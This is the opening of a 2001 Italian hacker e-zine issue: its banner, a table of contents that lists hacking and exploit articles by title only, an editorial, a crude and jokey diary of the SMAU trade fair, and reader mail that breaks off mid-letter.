Copy Link
Add to Bookmark
Report
OndaQuadra 04
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::::::::::,. .:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::, r#@@@@@M ,::::. .,:::::::::::@@@::NN:::N:DDD,:::AA:::::::::::::::::::::::::
:::::, B@@@@@@@@@@@@ .:, ,H@@@A: .:::::::::@:::@:N:N::N:D:::D:A::A::::::::::::::::::::::::
::::. @@@, S@@@@@@; ,,;@@@@@@@@@:.:::::::::@:::@:N::N:N:D:::D:AAAA::::::::::::::::::::::::
:::. S@@@. .::, r@@@@@@ ,,.; ;@@@@@@@. ,::::::::@@@::N:::NN:DDDD:A::::A:::::::::::::::::::::::
::: ;@@@@ ::::: #@@@@@ ,,. ;@@@@@@@@ .::::::::::::::::::::::::::::::::::::::::::::::::::::::
::, @@@@@: .,:::, r@@@@: ,:, @@@@@@@@@, ,:::::::::::::::::::::::::::::::::::::::::::::::::::::
::, @@@@@@ @@@@ .:, #@@@@@@@@@# .::::::::::::::@@@::U:::U::AA:::DDD,::RRR,::::AA::::
::: 2@@@@@@@G. M@@& ,:. S@@@@@@@@@@@@5 ,::::::::::@:::@:U:::U:A::A::D:::D:R::R:::A::A:::
:::. #@@@@@@@@@@@: ,:, .@@@@@@@@@@@@@@@@A ::::::::::@:::@:U:::U:AAAA::D:::D:RRRR:::AAAA:::
:::: :@@@@@i .:::: @@@@@@@@@@@@@@@@@@@@@i ,:::::::::@@@:::UUU:A::::A:DDDD::R:::R:A::::A::
:::::, ,::: h@@@@@@@@@@@@@@@@@@@@@@H .::::::::::@:::::::::::::::::::::::::::::::::
:::::,. ;3H@@@H, ., @@@@@@@@@@@@@@@@@@@@@@@@@; ,::::::::::::::::::::::::::::::::::::::::::
:::, r@@@@@@@@@@@@; . @@@@@@@@@@@@@@@@@@@@@@@@@@@ ,::://////////////////\\\\\\\\\\\\\\\\::::
::. #@@; :@@@@@@s .@@@@@@@@@@@@@@@@@@@@@@@@@@@ ,=|IL BATTITO CARDIACO DEL CYBERSPACE|=::
:. @@@ .::, @@@@@@ . @@@@@@@@@@@@@@@@@@@@@@@@@@@ .::\\\\\\\\\\\\\\\\\\////////////////::::
: ,@@@M :::::, ,@@@@@ ,, .@@@@@@@@@@@@@@@@@@@@@@@@@X ::::::::::::::::::::::::::::::::::::::::
, @@@@@ ,::::: @@@@; ,:: 2@@@@@@@@@@@@@@@@@@@@@@@,H.::::::::::::::::::::::::::::::::::::::::
, @@@@@H r@@@: .:::: i@@@@@@@@@@@@@@@@@@@@@@@3 ::::::::::::::::0::::::@@:::::::::::::::
, A@@@@@@3 .@@@, .::::: @@@@@@@@@@@@@@@@@@@@@@@@ ::::::::::N:NN::::::::@:@:::::::::::::::
: S@@@@@@@@@@@@ .,::::,, @@@@@@@@@@@@@@@@@@@@@@@@; ::::::::::NN::N::::::@::@:::::::::::::::
:: A@r ,,::. @@r .9 @@@@@@@@@@@@@@@@@ ::::::::::N:::N:::::@@@@@@::::::::::::::
:::. H@@@@@@h; @@@@@@@@&.r @@3@@@@@@@@@@@@@@ ,:::::::::N:::N:::::::::@:::::::::::::::
:::.@@@@@@@@@@@@@@@@@&: . ;i@@hHi@@@@@@@@@@@@3 ,::::::::::::::::::::::::::::::::::::::
:::. .X@@@@@@@@@@@@@@X. . @@@@@@@@@@@@@@,.::::::::::::::::,,,,::::::::::::::::::
::::::,,,. :#@@@@@@@@@@@@@@@r rB@@@@@@@@@@,.::::::::::::,. r:,::::::::::::::::::
:::::::::::::,. ;H@@@@@@@@@@@@@@@#r #@@@@@r ,::::::,. 9@@@:,:::::::::::::::::::
::::::::::::::::::,. ;&@@@@@@@@@@@@@@@@G. r@@@@#, ,::::::::::::::::::
::::::::::::::::::::::::,. .r#@@@@@@@@@@@@@@@@@@@#BM@@@@@@@@@@, ,:::::::::::::::::::::
::::::::::::::::::::::::::::::,. :S#@@@@@@@@@@@@@@@@@&; ,:::::::::::::::::::::::::
:::::::::::::::::::::::::::::::::::::,. .,::::::::::::::::::::::::::::::
+-------------------------------------------------------------------------------+
| ONDAQUADRA #04 - 19/11/2001 |
+-------------------------------------------------------------------------------+
| Tutto nel ciberspazio |
| E' scandito dalla squarewave |
| Dei micro-processori |
| Il clock dei micro |
| E' come |
| Un battito cardiaco |
| Elettronico... |
+-------------------------------------------------------------------------------+
| ondaquadra.cjb.net ~ www.hackerzine.org ~ www.bismark.it |
| mail@ondaquadra.cjb.net ~ articoli@ondaquadra.cjb.net |
+-------------------------------------------------------------------------------+
<-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=->
+-------------------------------------------------------------------------------+
| COSTITUZIONE DELLA REPUBBLICA ITALIANA |
| Diritti e doveri dei cittadini: Rapporti civili |
| |
| Art.21 - Tutti hanno diritto di manifestare liberamene il proprio pensiero |
| con la parola, lo scritto e ogni altro mezzo di diffusione. [...] |
+-------------------------------------------------------------------------------+
<-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=->
+-------------------------------------------------------------------------------+
| INDICE |
+-------------------------------------------------------------------------------+
| [L0GiN] |
| 0x01 EDiT0RiALE ................................................ [oq ~ staff] |
| 0x02 CR0NACHE DA SMAU .......................................... [oq ~ staff] |
| 0x03 RETR: LA P0STA Di 0Q ...................................... [oq ~ staff] |
| 0x04 ME L'HA DETT0 Mi0 CUGGiN0.................................... [tdi110cv] |
+-------------------------------------------------------------------------------+
| [HACKiNG] |
| 0x05 P0RTE, MA QUANTE S0N0? ..................................... [TheMRcode] |
| 0x06 HACK UNiX SHELL ................................................. [D3FU] |
| 0x07 SP00FiNG & HiJACKiNG ...................................... [CityHunter] |
| 0x08 iP SP00FiNG ATTACK .............................................. [E4zy] |
| 0x09 MAN iN THE MiDDLE ATTACK - Hunt v.1.5 ........................... [E4zy] |
+-------------------------------------------------------------------------------+
| [LiNUX] |
| 0x0A LA LUNGA ST0RiA DELL'EXPL0iT DEL DEM0NE RPC.STATD .............. [xyzzy] |
+-------------------------------------------------------------------------------+
| [L'ANG0L0 DEGLi EXPL0iT] |
| 0x0B IIS 5.0 PRiNTER 0VERFL0W ............................. [MightyInquisitor]|
+-------------------------------------------------------------------------------+
| [NETW0RKiNG] |
| 0x0C i PR0T0C0LLi Di RETE TCP/IP - IPX/SPX ........................ [shnyper] |
+-------------------------------------------------------------------------------+
| [C0DiNG] |
| 0x0D C0RS0 Di C [PARTE TERZA] ...................................... [JEYoNE] |
| 0x0E iNTR0 ALLE MACR0 (7/8) ........................................ [Mastro] |
| 0x0F 0S FR0M ZER0 CHAPTER ............................. [Alexander The Great] |
+-------------------------------------------------------------------------------+
| [MiSC] |
| 0x10 +++ATH0........................................................ [snake_] |
| 0x11 TELEF0NARE iN M0D0 AN0NiM0 ............................... [Screener_it] |
| 0x12 P0P3 ........................................................ [mR_bIs0n] |
| 0x13 SPYWARE AT ALL ...................................... [MightyInquisitor] |
| 0x14 TELNET: 0VVER0 BASTA !!!!! ............................... [Screener_it] |
| 0x15 DiFENDiAM0 LA NOSTRA PRiVACY ................................ [tdi110cv] |
| 0x16 NiMDA, 0VVER0 QUEST0 F0TTUT0 VERME .......................... [tdi110cv] |
+-------------------------------------------------------------------------------+
| [LO SCiAMANO] |
| 0x17 MY LiTTLE MANiFEST0 ............................................. [case] |
| 0x18 L0RD SHiNVA, CHE FiNE HA FATT0 ? ....................... [Xp Terminator] |
| 0x19 LEGGE 23 dicembre 1993 n. 547 .......................................... |
| Modificazioni ed integrazioni delle norme del codice ................... |
| penale e del codice di procedura penale in tema di...................... |
| criminalità informatica .................................... [qUiCkSoRt] |
| 0x1A SUL KATAKALi .............................................. [il Magnano] |
| 0x1B iL TERR0RiSTA SCRiVE A CENSURATi.iT................ [Antonella Serafini] |
+-------------------------------------------------------------------------------+
| [L'APPRENDiSTA STREG0NE] |
| 0x1C GUiDA SUL MiRC SCRiPTiNG [PARTE SECONDA] ............. [[]_CyBeRPuNK_[]] |
| 0x1D ALG0RiTM0 Di C0DiFiCA A CHiAVE RAND0M ........................ [BiGAlex] |
| 0x1E GESTiONE DEi FiLE iN ASSEMBLER ................................. [bondo] |
| 0x1F LA DURA ViTA DEi P0STiNi ...................................... [lesion] |
| 0x20 GUiDA PRATiCA ALLE REGULAR EXPRESSi0N ......................... [Domin3] |
| 0x21 C0DiCE iNVERS0: CRiTT0GRAFiA DiGiTALE AVANZATA PARTE 2 .......... [Zer0] |
+-------------------------------------------------------------------------------+
| [SHUTD0WN] |
| 0x22 NU0VA TERRA Di CONQUiSTA .................................... [Tritemius]|
+-------------------------------------------------------------------------------+
| [C0NTATTi] |
| 0x23 D0VE TR0VARCi ............................................. [oq ~ staff] |
+-------------------------------------------------------------------------------+
| [ALLEGATi] |
| 0x01 0S FR0M ZER0 CHAPTER ............................. [Alexander The Great] |
+-------------------------------------------------------------------------------+
+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [L0GiN] #04 - 19/11/2001 |
| EDiT0RiALE [oq ~ staff] 0x01/0x23 |
+-------------------------------------------------------------------------------+
|Altro giro, altro regalo! |
|Eccoci giunti al quinto numero della rivista, sempre più persone si collegano |
|su ondaquadra.cjb.net per scaricare la rivista, altrettante la leggono online, |
|o meglio cercano di leggerla, perchè la rivista è rilasciata in formato .txt |
|apposta per leggerla comodi comodi sul proprio desktop, e non per leggerla da |
|un browser... |
|A proposito di questo volevo darvi una bella notizia, non so se per l'uscita |
|di questo numero sarà già disponibile, ma presto tutti gli articoli saranno |
|online quindi non voglio sentire più nessuno lamentarsi perchè dal web non si |
|riesce a leggere o si legge male qualcosa, ok? |
|... |
|Bene, non risponde nessuno, quindi chi tace acconsente! :P |
|Questo numero presenta delle grosse novità, a partire dall'uscita bimestrale, |
|che magari a voi sembra poco, ma per noi della redazione è molto lavoro in più.|
|Purtroppo il pro di avere un numero ogni due mesi ha anche un contro, cioè che |
|il numero degli articoli, come potrete vedere, non è ampio come quello del |
|numero scorso. |
|In questo numero, tra gli altri articoli volevo segnalare quello di Alexander |
|The Great "0S FR0M ZER0 CHAPTER", un articolo davvero scritto bene su come |
|progettare e realizzare un sistema operativo partendo da zero. |
|Un altro articolo che ormai sembra essere diventato parte della rivista è |
|"iNTR0 ALLE MACR0" di Mastro, che dopo averci accompagnato per tre numeri, con |
|questo giunge alla fine della sua corsa e ci saluta. |
|Sempre nella sezione C0DiNG abbiamo la terza parte del C0RS0 Di C, nel quale |
|si parlerà del cosrutto "IF e ELSE" e del costrutto "SWITCH". |
|Nella sezione L0 SCiAMAN0 troviamo due articoli, uno è MY LiTTLE MANiFEST0 di |
|case, un articolo che parla di etica, e, L0RD SHiNVA, CHE FiNE HA FATT0 di |
|XpTerminator che, sempre parlando di etica, va a illustrare le ultime frasi che|
|Lord Shinva ha pronunciato prima di sparire, oltre ad alcune considerazioni. |
|Ne L'APPRENDiSTA STREG0NE troviamo ben 5 articoli che parlano di svariati |
|argomenti, partendo da ALG0RiTM0 Di C0DiFiCA A CHiAVE RAND0M, che, come dice il|
|titolo parla di crittografia, passando per la GESTi0NE DEi FiLE iN ASSEMBLER e |
|per la GUiDA PRATiCA ALLE REGULAR EXPRESSi0N, e finendo con LA DURA ViTA DEi |
|P0STiNi, un articolo di lesion che spiega come diventare veri e propri postini,|
|non quelli con la bicicletta e la borsa con i pacchi ma quelli con una keyboard|
|e un programma da configurare. |
|Ovviamente non poteva mancare l'appuntamento con GUiDA SUL MiRC SCRiPTiNG, che,|
|giunto alla seconda lezione, continua a spiegare come costruirsi uno script per|
|chattare in maniera più comoda. |
|Nella sezione MiSC abbiamo un articolo che parla di +++ATH0, la famosa stringa |
|che "dovrebbe" far andare i modem in hangup, due articoli di Screener_it, uno |
|che spiega un'avventura con un telefono e cerca di far rimanere anonimi durante|
|una chiamata, l'altro parla del telnet, un articolo very newbies che spiega che|
|cos'è questo famoso programma veramente indispensabile. |
|Sempre nella sezione MiSC possiamo trovare l'articolo di MightyInquisitor, |
|SPYWARE iT ALL, ovvero un testo che cerca di far capire cosa sono e come |
|agiscono i famosi "programmi spia" oltre a come rimuoverli. |
|Nella sezione LiNUX troviamo il secondo appuntamento con xyzzy, con il suo |
|articolo "LA LUNGA ST0RiA DELL'EXPL0iT DEL DEM0NE RPC.STATD" mentre in |
|"L'ANG0L0 DEGLi EXPL0iT" abbiamo un articolo di MightyInquisitor che parla |
|dell'ormai famoso baco di IIS e quello del Tdi110cv che parla del suo solito |
|CGI. |
|Abbiamo le patate, i peperoni, i pomodori per la salsa signora! (ops, mi sono |
|confuso, ma il camion del fruttivendolo ormai mi sta condizionando! :)) |
|Abbiamo ancora un sacco di articoli, ma forse e' meglio non perdere tempo |
|a leggere questo editoriale e andare a leggervi subito gli articoli che anche |
|per questo bimestre ci accompagnano! |
|Buona lettura dunque, non mi resta altro che ricordarvi di inserire il vostro |
|voto nel sondaggio che abbiamo aperto in home page (http://ondaquadra.cjb.net) |
|e di scrivere a mail@ondaquadra.cjb.net se avete qualche domanda da porci (no, |
|non da porci inteso come maiali, ma da porci inteso come..vabbè,buona lettura!)|
|:) |
| JEYoNE |
| |
+-------------------------------------------------------------------------------+
+-------------------------------------------------------------------------------+
| ONDAQUADRA ~ [L0GiN] #04 - 19/11/2001 |
| CR0NACHE DA SMAU [__Wei§§e§__] 0x02/0x23 |
+-------------------------------------------------------------------------------+
| |
| CRONACHE DA SMAU 2001.... OVVERO: PRONDOOOO CIAO BELLO |
| _________________________________________________________________________ |
| Data: fra il 22/10/01 Al 29/10/01 |
| Ora: se l' ho scritto in vari giorni come faccio a drvi gli orari? |
| Luogo: Treno, Casa, Pub, Ospedale! |
| Disclaimer: E aCosa Cazzo serve un disclaimer qua? vabbe', se proprio lo |
| volete: |
| IO NON C'ERO, SE C' ERO DORMIVO E SE DORMIVO NON POTEVO NE SENTIRE NE |
| VEDERE, UNA MELA AL GIORNO LEVA IL MEDICO DI TORNO, LA MUCCA FA MUUUU |
| E IL MERLO NON FA MEEEE! CONTENTI? |
| __________________________________________________________________________ |
| |
| Prima di iniziare questo articolo che sto' scrivendo sul treno in ritorno |
| da milano, volevo salutare il mio grande amico PHOBOS AKA DARKSPARROW AKA |
| TRN (in privato ti spieghero' cosa vuol dire trn), che a modo suo e' stato |
| ilprotagonista di queste nostre giornate milanesi.....PHOBBINO, non ti |
| incazzareche ti ho anche fatto parlare al telefono con una figliola di |
| inaudita |
| bellezzala scorsa sera, quindi ringraziami (ovviamente dopo che avrai dato |
| l' esame :-D..... minchia che bastardo che sono e che vuoi farci AMORE |
| MIOOOOO |
| io sono fatto cosi'.......PRONDOOOOOOO CIAO BELLOOOOOO! |
| |
| OK, OK, finiamo di dire stronzate e diciamone delle altre :-D |
| come consuetudine vi parlo di quanto e' successo in questi giorni: |
| 1) la penosa competenza in materia di noti operatori informatici; |
| 2) le gnocche che abbiamo visto in fiera; |
| 3) l' alcool che ci siamo ciucciati; |
| 4) un lato segreto del tritolo che mi ha lasciato esterefatto; |
| 5) ultimo ma non ultimo, anzi primissimo...PHOBOS |
| |
| Dunque dunque, da dove cominciamo? |
| e che ne so io da dove cominciare, intanto parlo e vi dico che: |
| LA NUTELLA E' SESSUALMENTE COMPATIBILE! |
| |
| Allora, quest' anno aprofittando di 4 giorni a mia disposizione, |
| ho avuto modo di girare bene rionero.... ehm.. SMAU e poter |
| visionare tutte o quasi le nuove tecnologie informatiche, ma |
| doveeee? |
| Devo dire che la cosa piu' interessante di questa fiera erano le |
| standiste, soprattutto quelle di aruba.it e la gnoccona dello stand |
| della fuji per il resto niente di nuovo a parte qualche piccolezza |
| di relativa importanza! |
| entrando a smau, il primo stand che ho visitato e' stato quello di |
| una nota ditta produttrice di telefoni cellulari, la quale molto |
| cortesemente mi invitava ad aggiornare il software del mio telefono, |
| io ovviamente ho accettato e sorpresa delle sorprese l' aggiornamento |
| mi ha sputtanato il sistema t9 per editare gli sms, incazzatissimo, |
| ho fatto richiesta di riaggioranare o retrocedere l' operazione, a |
| sto' punto era meglio, almeno prima tutto funzionava :D |
| insomma, ci ho messo mezz' ora per far si che il mio tel tornasse |
| a funzionare visto che nessuno degli addetti riusciva a far qualcosa, |
| anzi uno di loro addirittura mi invitava a rivolgermi ad un loro point |
| esterno.....dico ma siete scemi?! |
| Sempre al solito stand, mentre attendevo notavo una cosa troppo |
| ridicola, l' azienda in questione, che oltre a produrre cellulari |
| produce anche monitor, utilizzava dei monitor che erano anche a |
| disposizione del pubblico, di tutt' altra marca coprendone penosamente |
| l' etichetta con un adesivo, non ho parole! |
| |
| Vabbe', risolto cio' il mio giro e' proseguito alla volta del |
| padiglione piu' triste della fiera, gia' perche' i signori non |
| avevano uno stand, ma un intero padiglione tutto dedicato al loro |
| favoloso nuovo sistema operativo, avete capito di chi parlo vero? |
| Insomma per quanto riguarda il s.o. in oggetto niente da dire |
| per il momento, visto e considerato che lo sto' usando in versione |
| beta da 5 mesi a questa parte e non ho ancora trovato un bug serio |
| a parte il sistema di messaggistica istantanea, ma mai dire mai, |
| a meno che nella loro politica commerciale non abbiano deciso di |
| vendere i bug in seguito ad un prezzo irrisorio :-D |
| e daiiii, non potevo non esprimere i miei pensieri in merito senza |
| scherzarci sopra! |
| |
| Nel pomeriggio mi ha seguito in fiera il mio fratellone JEYoNE, con |
| il quale abbiamo iniziato a cazzeggiare piu' che guardare la fiera. |
| |
| La serata e' proseguita sui navigli in compagnia di altri due tipi |
| che colgo l' occasione di salutare BOMBOLO E ALEX B, con i quali |
| abbiamo bevuto una serie di schifosissimi cocktails, eh si, capita |
| anche questo, in compenso alle 2:30 JEYoNE ha avuto la mitica idea di |
| andare a mangiare le paste calde, quelle si che erano buone, e' stato |
| in quel momento, mentre mangiavo un gustoso cornetto alla nutella |
| che ho coniato la frase: LA NUTELLA E' SESSUALMENTE COMPATIBILE! |
| concordate? anche se non concordate non me fotte un cazzo :-D |
| |
| L'indomani, in condizioni di coma etilico e sonno mostruoso, mi sono |
| rirecato in fiera ed ho rivisto JEYoNE e anche il caro TRITOLO |
| (TRITEMIUS n.d.r.), vedendo il mio compagno di bevute trtms era ovvio |
| fare come prima tappa una visitina al padiglione piu' serio della fiera, |
| quello del bar :-D |
| |
| Essendo ormai convinti che la fiera era molto relativa (cazzo la pila |
| del portatile e' ormai agli sgoccioli) abbiamo preferito girare per |
| vedere un po' di gnocca, parlare della nostra creatura OQ e di |
| GIOCATTOLINI, si avete capito bene, giocatolini, ma i nostri giocattolini! |
| Siamo giunti alla sera e tritolo e' tornato a casa sua, idem io e JEYoNE |
| anche se poi ci siamo rivisti dopo, gia', dopo visto che qualcuno si |
| e' presentato in via torino con un po' di ritardo (azz. , ma quello ero io!) |
| Insomma AMORIIIII MIEI, come direbbe phobos, abbiamo cenato alle 23, |
| siamo andati a casa di un amico di jey a vedere un film pallosissimo, che |
| dico pallosissimo, di piu', i suoi amici dormivano tutti. |
| |
| Finita sta' palla, Jey ha deciso di mantenere una promessa che da 2 anni |
| non mantiene e mi ha portato a mangiare il panino con la salsiccia alla |
| centrale del latte, o fermata della latte come dico io! |
| La serata si e' conclusa cosi': JEY CENSURAMI E TI TAGLIO LE PALLE! |
| Il caro jey ha accompagnato la donna a casa dicendo che sarebbe rientrato |
| entro 10 minuti, dopo un' ora io e un altro povero pirla eravamo soli |
| sotto la pioggia ad attendere che il signorino rientrasse, ma poverino |
| era li' che subiva le ire della donna incazzata nera. HI HI HI |
| Insomma, alle 3:30 sono riuscito ad andare a nanna! |
| |
| Il giorno dopo, cioe' ieri, cioe' sabato, era il giorno dell' incontro |
| totale, ovvero io, jey, tritolo, tdi (portato in fiera con meschino |
| inganno da parte mia) e tutto il resto della ciurma di #hackmaniaci |
| #ondaquadra e #crack-it, insomma, non tutti ma coloro che hanno chiamato |
| all' Oq phone, ovvero il numero di telefono messo a disposizione |
| di chi voleva incontrarci, a proposito di cio', mi spiace per il tipo |
| che ha chiamato 2 volte e non gli ho risposto, scusa, ma cerca di |
| capire, in quel momento ero sulla tazza del cesso e non potevo assolutamente |
| risponderti! |
| |
| Fra gli stand piu' interessanti c' era quello della plextor, i quali |
| benche' producano eccellenti masterizzatori, hanno attratto la nostra |
| attenzione grazie a dei bellissimi accendini a forma di sigaretta che |
| regalavano e che noi abbiamo ovviamente preso in quantitativi industriali! |
| |
| Durante le giornate di smau io e uno dei miei soci, di cui non cito il nome |
| per la sua sicurezza :-) abbiamo stretto una sorta di amicizia e |
| tacchinaggio |
| con le due standiste della samsung francesca ed elena anche se il tutto si |
| e' limitato ad un costante scambio di gadget :-(, vabbe', almeno abbiamo |
| avuto |
| tutti gadget samsung che nessuno ha avuto! |
| |
| La mattina di sabato io ero a dormire da jey, alle 9:30, stranamente alle |
| sue |
| abitudini, e' arrivato tdi puntualissimo e sapete con cosa ha fatto |
| colazione? |
| caffe' e grappa, io e jey caffe' e sambuca :-) |
| partiamo alla volta di smau ed entrando ci assale un forte odore di |
| salsiccie, |
| cosa volete che facessimo? panino e birra media! |
| |
| Finito il panino arriva il nostro socio tritolo, anche lui affamato... e |
| vabbe' |
| lo accontentiamo e ci dirigiamo verso il bar della mitica piazza italia |
| dove abbiamo incontrato gli amici di un forum che frequento io, anche li |
| abbiamo bevuto un po' di birra giusto per non perdere il vizio, nel |
| frattempo |
| conoscevamo un po' di belle figliole! |
| |
| Vabbe', lasciamo gli amici appena incontrati dandoci appuntamento dopo cena |
| e proseguiamo il tour, nel frattempo venivamo assaliti da una fortissima |
| PHOBBITE, ovvero abbiamo iniziato a parlare come lui, chi non lo ha mai |
| sentito |
| non sa' cosa perde :-) da quel momento in poi nessuno a smesso di parlare |
| cosi' fino alla fine della giornata! |
| |
| Erano le 18 ed ormai ci eravamo proprio rotti le palle di questo cazzo di |
| smau |
| ed io ero incazzato nero con l' omnitel che dalle 9 di mattina ancora non |
| mi aveva ricaricato il tel.... A quel punto la decisione piu' saggia: |
| abbandoniamo la fiera e andiamo verso il duomo a prendere un numero infinito |
| di aperitivi, ma la sfiga era con noi, e' venuta giu' una pioggia della |
| madonna, svaniva cosi' il progetto "lungo aperitivo", ovviamente cio' non |
| andava assolutamente a pregiudicare le nostre intenzioni etiliche, ci siamo |
| recati a casa di jey, dove ci siamo consolati a suon di grappa e sambuca! |
| Gia' che c'eravamo abbiamo deciso di mandare definitivamente in pensione |
| la vecchia caffettiera di jey, un pentium 133 mhz con hard disk modello |
| lasagna impazzita, sostituendola con un sicuramente piu' performante |
| duron 750 mhz..... cazzarola, mi sono dimenticato di overckloccarlo :-( |
| |
| L' ora di cena era ormai vicina e jey guardandoci esclama: |
| AMORI MIEI BBELLI, DOBBIAMO ANDARE A PRENDERE MARIA E POI A CENA |
| (pronunciare in phobbesco) e cosi' abbiam fatto. |
| |
| Una volta recuperata la donna di jey, mentre eravamo in macchina, tdi parte |
| con un' idea: TELEFONIAMO A PHOBOS :-D |
| attiviamo il vivavoce e dopo qualche squillo udiamo un portentoso |
| PRONDOOOOOO! |
| era lui non c'era ombra di dubbio, eravamo tutti sdraiati dalle risate e |
| phobbino ci dice: IN QUESCHTI GIORNI MI STATE FACENDO DIRE SEMPRE PRONDOOO, |
| PRONDOOO, PRONDOOOO :-D, inutile dire che da quel momento abbiamo parlato |
| solo ed esclusivamente in phobbesco! |
| |
| Giunti al restaurant, affamati come dei peperoni avariati, attendiamo una |
| mezz' oretta prima di sederci a tavola. |
| All' arrivo della cameriera io con molta disinvoltura le ordino la pizza |
| parlando come abatantuono, chissa' perche' e' rimasta un po' esterefatta?! |
| ops, sono le 21:30, devo uscire, scusatemi continuo dopo se non sono troppo |
| ubriaco! |
| |
| Riecchime, dunque, eravamo rimasti al restaurant, ok, la cena e' proseguita |
| fra pizza vino e tdi che si incazzava con jey perche' gli fumava sul muso |
| ogni 5 minuti :D. |
| |
| Al termine della cena TDI ci abbandona per tornare a casa, noi altri invece, |
| rifacciamo tappa sui soliti navigli, in un' altra |
| pizzeria, ma no, mica a mangiare, ma a raggiungere altri amici con i quali |
| abbiamo preso d' assedio un disco pub sul naviglio opposto, e qui che dire: |
| dopo la delusione di giovedi sono riuscito a bere un mojito come Cristo |
| comanda, |
| insomma, forse piu' di uno :D, il locale era un buco e noi una trentina ma |
| mi sono molto divertito, soprattutto quando, inaspettatamente a come lo |
| conoscevo |
| fino ad allora, ti vedo il tritolo schizzare in pista e ballare come un |
| matto... |
| MITICOOOOOOOOOOOOO :D alche' lo guardo, gli vado vicino e gli dico: AH |
| TRITO', |
| MA SEI PROPRIO TU? e lui sotto un sorrisino mi confessa: SOLITAMENTE SONO |
| ANCHE |
| PEGGIO, COSA CREDEVI? |
| insomma, per chi non lo conosce il tritolo e' un tipo tutto d' un pezzo, con |
| questo non voglio dire che sia un palloso, anziiiiii, ma in discoteca non ce |
| lo |
| facevo proprio. |
| |
| Vabbe', dopo un po' di balli e chiacchiere con chi osava passarmi accanto, |
| mi |
| sono rirecato al bar con tritolo, alla volta di due kaipiroske alla fragola, |
| |
| ritiriamo il prodotto ed attendendo l' eventuale resto (a mo' di |
| distributore |
| di sigarette :D) guardo il barman e con fare phobbesco gli dico: AMOREEE |
| MMMIO, |
| MA IL RESTO NON ME LO DAI? fino a qui tutto normale, se non fosse che il |
| barman |
| mi guarda e mi dice anche lui in phobbesco: SI CARO MIO, ASCHPETTA UN |
| SECONDO |
| CHE TE LO DO! INCREDIBILE PHOBBINO E' CONTAGIOSO AL 100% |
| |
| La serata volgeva al termine, o meglio se era per me e trit continuava, ma |
| jey |
| e la sua donna erano stanchi e giustamente (GRRRRRR)bisognava rispettare |
| anche |
| il loro volere e l' idea del tritolo di dormire su una panchina in stazione |
| non |
| mi stava affatto a genio..... e vabbe', namosene a casa. |
| |
| Durante il tragitto io e il tritolo abbiamo dato conferma a 2 progetti che |
| ci |
| giravano per la testa da qualche giorno, iniziamo con quello piu' sicuro: |
| fra poco nascera' e ci stiamo gia' lavorando, una nuova e-zine, non |
| aspettatevi |
| hacking etc, tutt' altro, ONDAQUAGLIA, questo e'il suo nome, sara' l' esatta |
| parodia |
| di ONDAQUADRA, tutti gli articoli saranno nettamente insensati ed avremo |
| anche un |
| forum di discussione con tanto di moderatori :D. |
| Perche' la nascita di cio'? bisogna spezzare dalla monotonia di ogni giorno |
| ;) |
| Il secondo progetto era quello di trasferirsi a milano io e il trit e |
| prendere |
| una casa in affitto insieme, la cosa grave sarebbe trovare un attimo per il |
| lavoro, visto e considerato che il motto di quella casa sarebbe: donne, |
| alcool e Pc. |
| |
| Raga, per ora e' tutto, nei prossimi giorni spero di tirare giu' anche un |
| articolo |
| serio, cosa che al momento non posso fare visto che mi hanno ricoverato in |
| ospedale per mononucleosi.....GRRRRRR |
| credo che a questo articolo se ne ggiungera' uno simile di tdi, cosa credete |
| che |
| anche lui se ne stava buono? :D |
| E che non venga fuori che ci siamo copiati gli articoli heeee!? prrrrrrrrrrrr |
| Cia' ciao |
| __Wei§§e§__ |
| |
| |
+-------------------------------------------------------------------------------+
+-------------------------------------------------------------------------------+
| ONDAQUADRA ~ [L0GiN] #04 - 19/11/2001 |
| RETR - LA P0STA Di 0Q [oq ~ staff] 0x03/0x23 |
+-------------------------------------------------------------------------------+
| |
| Date Thu, 25 Oct 2001 20:33:56 +0200 |
| To <mail@ondaquadra.cjb.net> |
| From lesion <lesion@...> |
| Subject impaginazione... |
| |
| [D] |
| <MODE POLEMICO ON> |
| 1)volevo solo kiedere se per le prossime uscite era |
| possibile impaginare l'ezine con righe lunghe al max 78 |
| chars, come da terminale (max 79 dai...) |
| altrimenti come la leggo con less? |
| 2)essendo il movimento underground solitamente stakkato |
| dalla burocrazia in generale, mi kiedevo il perke' della frase |
| ke mettete di default nell'intro dell'ezine ke cita un articolo della |
| costituzione... |
| io l'avrei evitato...poi, questa e' solo una mia opinione, e |
| la ezine, e' "la vostra"..... |
| <MODE POLEMICO OFF> |
| |
| [R] |
| 1) Gia' da questo numero le cose dovrebbero essere migliorate. |
| 2) Non e' un articolo a caso della Costituzione, ma e' l'articolo che |
| riguarda la liberta' di parola. E' stato inserito dopo l'approvazione |
| della legge sull'editoria, legge (a nostro parere) antidemocratica e |
| in palese contrasto con lo spirito costituzionale. |
| |
+----> |
| |
| Date Sat, 13 Oct 2001 08:26:38 -0000 |
| To mail@ondaquadra.cjb.net |
| From "edoardo ..." <edcorporation@...> |
| Subject Info |
| |
| [D] |
| Ciao ONDAQUADRA ! |
| "Grandissimi !" è dire poco... |
| Sono un neofita della programmazione. Dopo aver creato piccole e semplici |
| applicazioni, sto cercando di approfondire la mia conoscenza andando alla |
| scoperta dei segreti dei codici, cercando di trarre le maggiori informazioni |
| |
| da progetti pubblicati in codice sorgente o, cosa molto più difficoltosa, |
| disassemblando applicazioni già compilate. ( grazie per l'attenzione |
| dedicata al Visual Basic ). Non ho la cerchia di amici adatta ad |
| approfondire certi discorsi e di conseguenza molti problemi rimangono |
| irrisolti. Cerco in ONDAQUADRA un amico che mi sveli tutti i segreti dei |
| come e perchè. Le domande che vi vorrei porre sono quantitativamente |
| infinite, e per questo, se non vi scoccia, vi disturberò ancora, ma il |
| progetto che mi assilla ultimamente è : Creare un'applicazione che estragga |
| le tracce da CD e dia la possibilità del salvataggio in formato .wav e .mp3 |
| e la conversione dei due. Sottolineo il fatto che non so nemmeno da dove |
| iniziare, ma la mia attenzione va soprattutto sui CODEC che permettono la |
| conversione dei formati. .wav -.mp3, .bmp-.jpg, etc... forme compresse e non |
| |
